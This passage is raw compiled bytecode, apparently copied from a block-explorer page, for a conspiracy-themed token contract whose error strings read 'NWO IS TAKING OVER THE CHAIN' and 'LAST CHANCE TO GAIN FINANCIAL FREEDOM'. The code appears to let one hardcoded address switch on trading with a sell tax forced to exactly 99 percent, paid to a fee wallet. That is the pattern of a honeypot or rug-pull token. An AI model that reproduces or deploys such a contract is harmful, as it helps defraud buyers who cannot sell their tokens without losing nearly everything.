ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b7342b6158a2b904f7ab3585e39c82ab3030993d0ac73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd8906133ab565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613413565b60405180910390fd5b5f8214612072576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120699061347b565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134e3565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612129929190613501565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122cb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612330575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561232f57505f600a54145b5b61236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613115565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156123ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e690613572565b60405180910390fd5b600b60019054906101000a900460ff16156127ef575f808390505f600a54118015612467575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ba5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124ff576124e760646124d9600a5487612b9990919063ffffffff16565b612c1090919063ffffffff16565b91506124fc8285612c6790919063ffffffff16565b90505b61254f8460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506126018160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e19190612f02565b60405180910390a35f8211156127e8576127418260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127df9190612f02565b60405180910390a35b50506129da565b61283f8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128f18260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129d19190612f02565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906135da565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612ba9575f9050612c0a565b5f8284612bb69190613625565b9050828482612bc59190613693565b14612c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfc9061370d565b60405180910390fd5b809150505b92915050565b5f808211612c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4a90613775565b60405180910390fd5b8183612c5f9190613693565b905092915050565b5f82821115612cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca2906137dd565b60405180910390fd5b8183612cb791906137fb565b905092915050565b5f808284612ccd919061382e565b905083811015612d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d09906138ab565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612d3281612d20565b8114612d3c575f80fd5b50565b5f81359050612d4d81612d29565b92915050565b5f60208284031215612d6857612d67612d1c565b5b5f612d7584828501612d3f565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612db5578082015181840152602081019050612d9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dda82612d7e565b612de48185612d88565b9350612df4818560208601612d98565b612dfd81612dc0565b840191505092915050565b5f6020820190508181035f830152612e208184612dd0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e5182612e28565b9050919050565b612e6181612e47565b8114612e6b575f80fd5b50565b5f81359050612e7c81612e58565b92915050565b5f8060408385031215612e9857612e97612d1c565b5b5f612ea585828601612e6e565b9250506020612eb685828601612d3f565b9150509250929050565b5f8115159050919050565b612ed481612ec0565b82525050565b5f602082019050612eed5f830184612ecb565b92915050565b612efc81612d20565b82525050565b5f602082019050612f155f830184612ef3565b92915050565b5f805f60608486031215612f3257612f31612d1c565b5b5f612f3f86828701612e6e565b9350506020612f5086828701612e6e565b9250506040612f6186828701612d3f565b9150509250925092565b5f60ff82169050919050565b612f8081612f6b565b82525050565b5f602082019050612f995f830184612f77565b92915050565b5f60208284031215612fb457612fb3612d1c565b5b5f612fc184828501612e6e565b91505092915050565b612fd381612e47565b82525050565b5f602082019050612fec5f830184612fca565b92915050565b5f806040838503121561300857613007612d1c565b5b5f61301585828601612d3f565b925050602061302685828601612d3f565b9150509250929050565b5f806040838503121561304657613045612d1c565b5b5f61305385828601612e6e565b925050602061306485828601612e6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130b257607f821691505b6020821081036130c5576130c461306e565b5b50919050565b7f434f4e53504952414359000000000000000000000000000000000000000000005f82015250565b5f6130ff600a83612d88565b915061310a826130cb565b602082019050919050565b5f6020820190508181035f83015261312c816130f3565b9050919050565b7f4c4554532046494e44204f5554000000000000000000000000000000000000005f82015250565b5f613167600d83612d88565b915061317282613133565b602082019050919050565b5f6020820190508181035f8301526131948161315b565b9050919050565b7f57495448205448495320434f4e545241435400000000000000000000000000005f82015250565b5f6131cf601283612d88565b91506131da8261319b565b602082019050919050565b5f6020820190508181035f8301526131fc816131c3565b9050919050565b7f784e455720574f524c44204f52444552780000000000000000000000000000005f82015250565b5f613237601183612d88565b915061324282613203565b602082019050919050565b5f6020820190508181035f8301526132648161322b565b9050919050565b7f4f522054525554480000000000000000000000000000000000000000000000005f82015250565b5f61329f600883612d88565b91506132aa8261326b565b602082019050919050565b5f6020820190508181035f8301526132cc81613293565b9050919050565b7f4c415354204348414e434520544f204741494e2046494e414e4349414c2046525f8201527f4545444f4d000000000000000000000000000000000000000000000000000000602082015250565b5f61332d602583612d88565b9150613338826132d3565b604082019050919050565b5f6020820190508181035f83015261335a81613321565b9050919050565b7f4e574f2049532054414b494e47204f5645522054484520434841494e000000005f82015250565b5f613395601c83612d88565b91506133a082613361565b602082019050919050565b5f6020820190508181035f8301526133c281613389565b9050919050565b7f4e574f58584e574f0000000000000000000000000000000000000000000000005f82015250565b5f6133fd600883612d88565b9150613408826133c9565b602082019050919050565b5f6020820190508181035f83015261342a816133f1565b9050919050565b7f4e45572078574f524c4420784f524445520000000000000000000000000000005f82015250565b5f613465601183612d88565b915061347082613431565b602082019050919050565b5f6020820190508181035f83015261349281613459565b9050919050565b7f784e455720574f524c443420784f5244455200000000000000000000000000005f82015250565b5f6134cd601283612d88565b91506134d882613499565b602082019050919050565b5f6020820190508181035f8301526134fa816134c1565b9050919050565b5f6040820190506135145f830185612ef3565b6135216020830184612ef3565b9392505050565b7f4e574f4f3132334e574f4f0000000000000000000000000000000000000000005f82015250565b5f61355c600b83612d88565b915061356782613528565b602082019050919050565b5f6020820190508181035f83015261358981613550565b9050919050565b7f784e4557782078574f524c447820784f524445527800000000000000000000005f82015250565b5f6135c4601583612d88565b91506135cf82613590565b602082019050919050565b5f6020820190508181035f8301526135f1816135b8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61362f82612d20565b915061363a83612d20565b925082820261364881612d20565b9150828204841483151761365f5761365e6135f8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61369d82612d20565b91506136a883612d20565b9250826136b8576136b7613666565b5b828204905092915050565b7f57574f524c4400000000000000000000000000000000000000000000000000005f82015250565b5f6136f7600683612d88565b9150613702826136c3565b602082019050919050565b5f6020820190508181035f830152613724816136eb565b9050919050565b7f4f4f5244455200000000000000000000000000000000000000000000000000005f82015250565b5f61375f600683612d88565b915061376a8261372b565b602082019050919050565b5f6020820190508181035f83015261378c81613753565b9050919050565b7f4e455720574f524c44204f5244455200000000000000000000000000000000005f82015250565b5f6137c7600f83612d88565b91506137d282613793565b602082019050919050565b5f6020820190508181035f8301526137f4816137bb565b9050919050565b5f61380582612d20565b915061381083612d20565b9250828203905081811115613828576138276135f8565b5b92915050565b5f61383882612d20565b915061384383612d20565b925082820190508082111561385b5761385a6135f8565b5b92915050565b7f4e455757000000000000000000000000000000000000000000000000000000005f82015250565b5f613895600483612d88565b91506138a082613861565b602082019050919050565b5f6020820190508181035f8301526138c281613889565b905091905056fea2646970667358221220c0b8aca67ca5a761b60be6a9f535716e96d3584a89b3acbf13e109578c29d89464736f6c6343000815003300000000000000000000000042b6158a2b904f7ab3585e39c82ab3030993d0ac000000000000000000000000af298d050e4395d69670b12b7f40ffffffffffff

Deployed Bytecode

0x60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174290613343565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b7342b6158a2b904f7ab3585e39c82ab3030993d0ac73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd8906133ab565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613413565b60405180910390fd5b5f8214612072576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120699061347b565b60405180910390fd5b606381146120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac906134e3565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612129929190613501565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806121dc5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061220b5750600b5f9054906101000a900460ff1615801561220a5750600b60019054906101000a900460ff165b5b806122cc5750600b5f9054906101000a900460ff1680156122725750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165